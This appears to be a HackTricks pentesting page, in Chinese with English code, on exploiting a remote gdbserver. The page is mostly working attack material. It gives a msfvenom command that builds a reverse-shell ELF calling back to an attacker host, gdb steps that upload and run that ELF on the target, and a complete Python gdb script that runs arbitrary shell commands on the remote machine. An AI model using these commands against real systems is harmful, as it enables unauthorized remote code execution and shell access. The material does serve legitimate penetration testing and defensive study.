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177 lines
4.6 KiB
Markdown
177 lines
4.6 KiB
Markdown
# Pentesting Remote GdbServer
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{{#include ../banners/hacktricks-training.md}}
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## **基本信息**
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**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上运行，称为“目标”。这种设置允许 **GNU Debugger** 从不同的机器“主机”连接，主机上存储着源代码和被调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线进行，从而实现灵活的调试设置。
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您可以让 **gdbserver 在任何端口上监听**，目前 **nmap 无法识别该服务**。
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## 利用
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### 上传和执行
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您可以轻松创建一个 **elf 后门与 msfvenom**，上传并执行它：
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```bash
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# Trick shared by @B1n4rySh4d0w
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msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
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chmod +x binary.elf
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gdb binary.elf
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# Set remote debuger target
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target extended-remote 10.10.10.11:1337
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# Upload elf file
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remote put binary.elf binary.elf
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# Set remote executable file
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set remote exec-file /home/user/binary.elf
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# Execute reverse shell executable
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run
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# You should get your reverse-shell
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```
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### 执行任意命令
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还有另一种方法可以**通过一个** [**来自这里的 python 自定义脚本让调试器执行任意命令**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)。
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```bash
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# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
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target extended-remote 192.168.1.4:2345
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# Load our custom gdb command `rcmd`.
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source ./remote-cmd.py
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# Change to a trusty binary and run it to load it
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set remote exec-file /bin/bash
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r
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# Run until a point where libc has been loaded on the remote process, e.g. start of main().
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tb main
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r
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# Run the remote command, e.g. `ls`.
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rcmd ls
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```
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首先**在本地创建这个脚本**：
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```python:remote-cmd.py
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#!/usr/bin/env python3
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import gdb
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import re
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import traceback
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import uuid
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class RemoteCmd(gdb.Command):
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def __init__(self):
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self.addresses = {}
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self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
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gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
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gdb.execute("set detach-on-fork off")
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gdb.execute("set follow-fork-mode parent")
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gdb.execute("set max-value-size unlimited")
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gdb.execute("set pagination off")
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gdb.execute("set print elements 0")
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gdb.execute("set print repeats 0")
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super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
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def preload(self):
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for symbol in [
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"close",
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"execl",
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"fork",
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"free",
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"lseek",
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"malloc",
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"open",
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"read",
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]:
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self.load(symbol)
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def load(self, symbol):
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if symbol not in self.addresses:
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address_string = gdb.execute(f"info address {symbol}", to_string=True)
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match = re.match(
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f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
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)
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if match and len(match.groups()) > 0:
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self.addresses[symbol] = match.groups()[0]
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else:
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raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
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return self.addresses[symbol]
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def output(self):
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# From `fcntl-linux.h`
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O_RDONLY = 0
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gdb.execute(
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f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
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)
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# From `stdio.h`
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SEEK_SET = 0
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SEEK_END = 2
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gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
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gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
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if int(gdb.convenience_variable("len")) <= 0:
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gdb.write("No output was captured.")
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return
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gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
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gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
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gdb.execute('printf "%s\\n", (char*) $mem')
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gdb.execute(f'call (int){self.load("close")}($fd)')
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gdb.execute(f'call (int){self.load("free")}($mem)')
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def invoke(self, arg, from_tty):
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try:
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self.preload()
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is_auto_solib_add = gdb.parameter("auto-solib-add")
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gdb.execute("set auto-solib-add off")
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parent_inferior = gdb.selected_inferior()
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gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
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child_pid = gdb.convenience_variable("child_pid")
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child_inferior = list(
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filter(lambda x: x.pid == child_pid, gdb.inferiors())
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)[0]
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gdb.execute(f"inferior {child_inferior.num}")
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try:
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gdb.execute(
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f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
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)
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except gdb.error as e:
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if (
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"The program being debugged exited while in a function called from GDB"
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in str(e)
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):
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pass
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else:
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raise e
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finally:
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gdb.execute(f"inferior {parent_inferior.num}")
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gdb.execute(f"remove-inferiors {child_inferior.num}")
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self.output()
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except Exception as e:
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gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
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raise e
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finally:
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gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
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RemoteCmd()
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```
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{{#include ../banners/hacktricks-training.md}}
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